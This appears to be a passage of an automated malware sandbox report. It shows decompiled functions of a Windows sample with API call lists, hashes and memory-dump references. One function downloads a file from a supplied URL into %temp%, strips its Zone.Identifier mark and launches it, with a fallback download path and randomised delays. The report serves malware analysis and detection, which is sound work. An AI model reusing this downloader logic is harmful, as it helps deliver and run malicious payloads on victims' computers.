                                                                                                                                                                                                                                                                                                                                                      0x0040ef41
                                                                                                                                                                                                                                                                                                                                                      0x0040ef42
                                                                                                                                                                                                                                                                                                                                                      0x0040ef44
                                                                                                                                                                                                                                                                                                                                                      0x0040ef46
                                                                                                                                                                                                                                                                                                                                                      0x0040ef46
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef08
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef22
                                                                                                                                                                                                                                                                                                                                                      0x0040ef24
                                                                                                                                                                                                                                                                                                                                                      0x0040ef24
                                                                                                                                                                                                                                                                                                                                                      0x0040ef25
                                                                                                                                                                                                                                                                                                                                                      0x0040ef25
                                                                                                                                                                                                                                                                                                                                                      0x0040ef2b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef16
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef18
                                                                                                                                                                                                                                                                                                                                                      0x0040ef18
                                                                                                                                                                                                                                                                                                                                                      0x0040ef19
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef19
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef30
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef30
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee8f
                                                                                                                                                                                                                                                                                                                                                      0x0040ee92
                                                                                                                                                                                                                                                                                                                                                      0x0040ee95
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee97
                                                                                                                                                                                                                                                                                                                                                      0x0040ee99
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee99
                                                                                                                                                                                                                                                                                                                                                      0x0040ee5e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee60
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0040EECE
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: MemoryQueryVirtual
                                                                                                                                                                                                                                                                                                                                                      • String ID: 8_A$8_A$8_A
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2850889275-1072898474
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 035b3a0eab2fda74ec6ddec9c79a0b1f32ec68a73f264a227a2d221ad3741da4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 57da26439f41a27b6f89feab48204f154193a2fa2f262da57672d5a942e405b8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 035b3a0eab2fda74ec6ddec9c79a0b1f32ec68a73f264a227a2d221ad3741da4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2561F631700606DFDB29CF2AC88066A73A5EB85354F24887BE406E76D1E739DD57C68C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040A760 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 58%
                                                                                                                                                                                                                                                                                                                                                      			E0040A760(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406441
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx);
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406441
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406441
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040a76f
                                                                                                                                                                                                                                                                                                                                                      0x0040a76f
                                                                                                                                                                                                                                                                                                                                                      0x0040a773
                                                                                                                                                                                                                                                                                                                                                      0x0040a77b
                                                                                                                                                                                                                                                                                                                                                      0x0040a785
                                                                                                                                                                                                                                                                                                                                                      0x0040a789
                                                                                                                                                                                                                                                                                                                                                      0x0040a791
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040a795
                                                                                                                                                                                                                                                                                                                                                      0x0040a79e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CryptAcquireContextW.ADVAPI32(Ad@,00000000,00000000,00000001,F0000040,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A773
                                                                                                                                                                                                                                                                                                                                                      • CryptGenRandom.ADVAPI32(Ad@,?,00000000,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A789
                                                                                                                                                                                                                                                                                                                                                      • CryptReleaseContext.ADVAPI32(Ad@,00000000,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A795
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Crypt$Context$AcquireRandomRelease
                                                                                                                                                                                                                                                                                                                                                      • String ID: Ad@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1815803762-4183085526
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 89528bad6447d7c1c440445485b2c33d4f9dd5ae0edcff583990537681d61b4e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D2E01275650308BBDB14CFD1EC49F9A777CAB48750F108154B70997284DAB5EA408768
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DC60 Relevance: 6.1, APIs: 4, Instructions: 59networkthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 22%
                                                                                                                                                                                                                                                                                                                                                      			E0040DC60(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t24;

				_t27 = __edi;
				_t24 = E004089F0(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11);
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
					E0040DBF0(_t24, __edi);
					_t24 = 0;
				}
				if(_t24 == 0) {
					L6:
					return _t24;
				} else {
					_v26 = 0;
					_v22 = 0;
					_v18 = 0;
					_v14 = 0;
					_v28 = 2;
					__imp__#2( *(_t24 + 8),  &_v28, 0x10);
					if(2 != 0xffffffff) {
						 *((intOrPtr*)(_t24 + 0xc)) = _v20;
						 *((intOrPtr*)(_t24 + 0x14)) = CreateThread(0, 0, E0040D9C0, _t24, 0, 0);
						goto L6;
					} else {
						E0040DBF0(_t24, _t27);
						return 0;
					}
				}
			}












                                                                                                                                                                                                                                                                                                                                                      0x0040dc60
                                                                                                                                                                                                                                                                                                                                                      0x0040dc72
                                                                                                                                                                                                                                                                                                                                                      0x0040dc78
                                                                                                                                                                                                                                                                                                                                                      0x0040dc7e
                                                                                                                                                                                                                                                                                                                                                      0x0040dc85
                                                                                                                                                                                                                                                                                                                                                      0x0040dc91
                                                                                                                                                                                                                                                                                                                                                      0x0040dc94
                                                                                                                                                                                                                                                                                                                                                      0x0040dc9a
                                                                                                                                                                                                                                                                                                                                                      0x0040dca0
                                                                                                                                                                                                                                                                                                                                                      0x0040dca2
                                                                                                                                                                                                                                                                                                                                                      0x0040dca7
                                                                                                                                                                                                                                                                                                                                                      0x0040dca7
                                                                                                                                                                                                                                                                                                                                                      0x0040dcab
                                                                                                                                                                                                                                                                                                                                                      0x0040dd0a
                                                                                                                                                                                                                                                                                                                                                      0x0040dd10
                                                                                                                                                                                                                                                                                                                                                      0x0040dcad
                                                                                                                                                                                                                                                                                                                                                      0x0040dcaf
                                                                                                                                                                                                                                                                                                                                                      0x0040dcb3
                                                                                                                                                                                                                                                                                                                                                      0x0040dcb7
                                                                                                                                                                                                                                                                                                                                                      0x0040dcbb
                                                                                                                                                                                                                                                                                                                                                      0x0040dccb
                                                                                                                                                                                                                                                                                                                                                      0x0040dcd5
                                                                                                                                                                                                                                                                                                                                                      0x0040dcde
                                                                                                                                                                                                                                                                                                                                                      0x0040dcfe
                                                                                                                                                                                                                                                                                                                                                      0x0040dd07
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dce0
                                                                                                                                                                                                                                                                                                                                                      0x0040dce0
                                                                                                                                                                                                                                                                                                                                                      0x0040dceb
                                                                                                                                                                                                                                                                                                                                                      0x0040dceb
                                                                                                                                                                                                                                                                                                                                                      0x0040dcde

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040BE0E,00000000), ref: 0040DC85
                                                                                                                                                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000002,00000011), ref: 0040DC94
                                                                                                                                                                                                                                                                                                                                                      • bind.WS2_32(?,?,00000010), ref: 0040DCD5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040DBF0: CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                      • CreateThread.KERNEL32 ref: 0040DD01
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3943618503-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ce6d24c3bde7373f1461b2dae9bb22bc5d17e2e77531687bb2f481230139cc52
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: b16d2d4ad0a0b2b9cafa682e2e76731ffdc1f0718a39120daea6a320dc634445
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce6d24c3bde7373f1461b2dae9bb22bc5d17e2e77531687bb2f481230139cc52
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BE1194B0A44300AFE7109FB49C86B577AA0EF04714F50897AFA58DA2D2D2F9D848975A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D3E0 Relevance: 73.7, APIs: 35, Strings: 7, Instructions: 243filesleepnetworkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 83%
                                                                                                                                                                                                                                                                                                                                                      			E0040D3E0(char* _a4, char _a8) {
				short _v524;
				short _v1044;
				signed char _v1045;
				short _v1572;
				void* _v1576;
				void* _v1580;
				short _v2100;
				void _v2364;
				long _v2368;
				long _v2372;
				void* _v2376;
				intOrPtr* _v2380;
				intOrPtr _v2384;
				char _v2385;
				intOrPtr _v2392;
				signed int _t88;
				signed int _t90;
				int _t96;
				signed int _t97;
				signed int _t99;
				signed int _t101;
				signed int _t111;
				signed char _t125;
				signed char _t127;
				void* _t181;
				void* _t182;
				void* _t184;

				srand(GetTickCount());
				_t182 = _t181 + 4;
				_v1045 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v2100, 0x104);
				_v2380 = _a4;
				_v2384 = _v2380 + 1;
				do {
					_v2385 =  *_v2380;
					_v2380 = _v2380 + 1;
				} while (_v2385 != 0);
				_v2392 = _v2380 - _v2384;
				mbstowcs( &_v1044, _a4, _v2392 + 1);
				_t88 = rand();
				asm("cdq");
				_t90 = rand();
				asm("cdq");
				wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t90 % 0x7fff + 0x3e8, _t88 % 0x7fff + 0x3e8);
				_t184 = _t182 + 0x20;
				_v2376 = InternetOpenW(L"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 0, 0, 0, 0);
				if(_v2376 != 0) {
					_v1576 = InternetOpenUrlW(_v2376,  &_v1044, 0, 0, 0, 0);
					if(_v1576 != 0) {
						_v1580 = CreateFileW( &_v1572, 0x40000000, 0, 0, 2, 0, 0);
						if(_v1580 != 0xffffffff) {
							while(InternetReadFile(_v1576,  &_v2364, 0x103,  &_v2372) != 0 && _v2372 != 0) {
								WriteFile(_v1580,  &_v2364, _v2372,  &_v2368, 0);
							}
							CloseHandle(_v1580);
							wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
							DeleteFileW( &_v524);
							Sleep(0x3e8);
							_t125 = E0040D0C0( &_v1572);
							_t184 = _t184 + 0x10;
							if((_t125 & 0x000000ff) == 0) {
								DeleteFileW( &_v1572);
							} else {
								Sleep(0x7d0);
								_t127 = E0040D280( &_v1572);
								_t184 = _t184 + 4;
								if((_t127 & 0x000000ff) == 1) {
									_t51 =  &_a8; // 0x405d51
									if(( *_t51 & 0x000000ff) == 1) {
										ExitProcess(0);
									}
									_v1045 = 1;
								}
							}
						}
						CloseHandle(_v1580);
					}
					InternetCloseHandle(_v1576);
				}
				InternetCloseHandle(_v2376);
				Sleep(0x3e8);
				_t96 = _v1045 & 0x000000ff;
				if(_t96 == 0) {
					_t97 = rand();
					asm("cdq");
					Sleep(0x1388 + _t97 % 0xea60 * 5);
					_t99 = rand();
					asm("cdq");
					_t101 = rand();
					asm("cdq");
					_t96 = wsprintfW( &_v1572, L"%s\\%d%d.exe",  &_v2100, _t101 % 0x7fff + 0x3e8, _t99 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1572);
					_push( &_v1044);
					_push(0);
					L0040EBA2();
					if(_t96 == 0) {
						wsprintfW( &_v524, L"%s:Zone.Identifier",  &_v1572);
						DeleteFileW( &_v524);
						Sleep(0x3e8);
						if((E0040D0C0( &_v1572) & 0x000000ff) == 0) {
							return DeleteFileW( &_v1572);
						}
						Sleep(0x7d0);
						_t111 = E0040D280( &_v1572) & 0x000000ff;
						if(_t111 == 0) {
							L23:
							return _t111;
						}
						_t79 =  &_a8; // 0x405d51
						if(( *_t79 & 0x000000ff) != 1) {
							goto L23;
						}
						ExitProcess(0);
					}
				}
				return _t96;
			}






























                                                                                                                                                                                                                                                                                                                                                      0x0040d3f0
                                                                                                                                                                                                                                                                                                                                                      0x0040d3f5
                                                                                                                                                                                                                                                                                                                                                      0x0040d3f8
                                                                                                                                                                                                                                                                                                                                                      0x0040d410
                                                                                                                                                                                                                                                                                                                                                      0x0040d419
                                                                                                                                                                                                                                                                                                                                                      0x0040d428
                                                                                                                                                                                                                                                                                                                                                      0x0040d42e
                                                                                                                                                                                                                                                                                                                                                      0x0040d436
                                                                                                                                                                                                                                                                                                                                                      0x0040d43c
                                                                                                                                                                                                                                                                                                                                                      0x0040d443
                                                                                                                                                                                                                                                                                                                                                      0x0040d458
                                                                                                                                                                                                                                                                                                                                                      0x0040d473
                                                                                                                                                                                                                                                                                                                                                      0x0040d47b
                                                                                                                                                                                                                                                                                                                                                      0x0040d480
                                                                                                                                                                                                                                                                                                                                                      0x0040d48f
                                                                                                                                                                                                                                                                                                                                                      0x0040d494
                                                                                                                                                                                                                                                                                                                                                      0x0040d4b6
                                                                                                                                                                                                                                                                                                                                                      0x0040d4bc
                                                                                                                                                                                                                                                                                                                                                      0x0040d4d2
                                                                                                                                                                                                                                                                                                                                                      0x0040d4df
                                                                                                                                                                                                                                                                                                                                                      0x0040d501
                                                                                                                                                                                                                                                                                                                                                      0x0040d50e
                                                                                                                                                                                                                                                                                                                                                      0x0040d530
                                                                                                                                                                                                                                                                                                                                                      0x0040d53d
                                                                                                                                                                                                                                                                                                                                                      0x0040d543
                                                                                                                                                                                                                                                                                                                                                      0x0040d58e
                                                                                                                                                                                                                                                                                                                                                      0x0040d58e
                                                                                                                                                                                                                                                                                                                                                      0x0040d59d
                                                                                                                                                                                                                                                                                                                                                      0x0040d5b6
                                                                                                                                                                                                                                                                                                                                                      0x0040d5c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d5d1
                                                                                                                                                                                                                                                                                                                                                      0x0040d5de
                                                                                                                                                                                                                                                                                                                                                      0x0040d5e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d5eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d630
                                                                                                                                                                                                                                                                                                                                                      0x0040d5ed
                                                                                                                                                                                                                                                                                                                                                      0x0040d5f2
                                                                                                                                                                                                                                                                                                                                                      0x0040d5ff
                                                                                                                                                                                                                                                                                                                                                      0x0040d604
                                                                                                                                                                                                                                                                                                                                                      0x0040d60d
                                                                                                                                                                                                                                                                                                                                                      0x0040d60f
                                                                                                                                                                                                                                                                                                                                                      0x0040d616
                                                                                                                                                                                                                                                                                                                                                      0x0040d61a
                                                                                                                                                                                                                                                                                                                                                      0x0040d61a
                                                                                                                                                                                                                                                                                                                                                      0x0040d620
                                                                                                                                                                                                                                                                                                                                                      0x0040d620
                                                                                                                                                                                                                                                                                                                                                      0x0040d627
                                                                                                                                                                                                                                                                                                                                                      0x0040d5eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d63d
                                                                                                                                                                                                                                                                                                                                                      0x0040d63d
                                                                                                                                                                                                                                                                                                                                                      0x0040d64a
                                                                                                                                                                                                                                                                                                                                                      0x0040d64a
                                                                                                                                                                                                                                                                                                                                                      0x0040d657
                                                                                                                                                                                                                                                                                                                                                      0x0040d662
                                                                                                                                                                                                                                                                                                                                                      0x0040d668
                                                                                                                                                                                                                                                                                                                                                      0x0040d671
                                                                                                                                                                                                                                                                                                                                                      0x0040d677
                                                                                                                                                                                                                                                                                                                                                      0x0040d67c
                                                                                                                                                                                                                                                                                                                                                      0x0040d68e
                                                                                                                                                                                                                                                                                                                                                      0x0040d694
                                                                                                                                                                                                                                                                                                                                                      0x0040d699
                                                                                                                                                                                                                                                                                                                                                      0x0040d6a8
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ad
                                                                                                                                                                                                                                                                                                                                                      0x0040d6cf
                                                                                                                                                                                                                                                                                                                                                      0x0040d6d8
                                                                                                                                                                                                                                                                                                                                                      0x0040d6da
                                                                                                                                                                                                                                                                                                                                                      0x0040d6e2
                                                                                                                                                                                                                                                                                                                                                      0x0040d6e9
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ea
                                                                                                                                                                                                                                                                                                                                                      0x0040d6ec
                                                                                                                                                                                                                                                                                                                                                      0x0040d6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040d70c
                                                                                                                                                                                                                                                                                                                                                      0x0040d71c
                                                                                                                                                                                                                                                                                                                                                      0x0040d727
                                                                                                                                                                                                                                                                                                                                                      0x0040d741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d77e
                                                                                                                                                                                                                                                                                                                                                      0x0040d748
                                                                                                                                                                                                                                                                                                                                                      0x0040d75d
                                                                                                                                                                                                                                                                                                                                                      0x0040d762
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d764
                                                                                                                                                                                                                                                                                                                                                      0x0040d76b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d76f
                                                                                                                                                                                                                                                                                                                                                      0x0040d76f
                                                                                                                                                                                                                                                                                                                                                      0x0040d6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040d787

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetTickCount.KERNEL32 ref: 0040D3E9
                                                                                                                                                                                                                                                                                                                                                      • srand.MSVCRT ref: 0040D3F0
                                                                                                                                                                                                                                                                                                                                                      • ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040D410
                                                                                                                                                                                                                                                                                                                                                      • mbstowcs.NTDLL ref: 0040D473
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D47B
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D48F
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D4B6
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenW.WININET(Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040D4CC
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040D4FB
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D52A
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040D55D
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040D58E
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D59D
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D5B6
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D5C6
                                                                                                                                                                                                                                                                                                                                                      • ExitProcess.KERNEL32 ref: 0040D61A
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000007D0), ref: 0040D5F2
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: memset.NTDLL ref: 0040D28E
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: CreateProcessW.KERNEL32 ref: 0040D2D5
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D280: Sleep.KERNEL32(000003E8), ref: 0040D2E5
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D630
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D63D
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D64A
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040D657
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D662
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D677
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32 ref: 0040D68E
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D694
                                                                                                                                                                                                                                                                                                                                                      • rand.MSVCRT ref: 0040D6A8
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D6CF
                                                                                                                                                                                                                                                                                                                                                      • URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040D6EC
                                                                                                                                                                                                                                                                                                                                                      • wsprintfW.USER32 ref: 0040D70C
                                                                                                                                                                                                                                                                                                                                                      • DeleteFileW.KERNEL32(?), ref: 0040D71C
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D727
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D5D1
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D0F4
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D115
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D134
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040D0C0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D14D
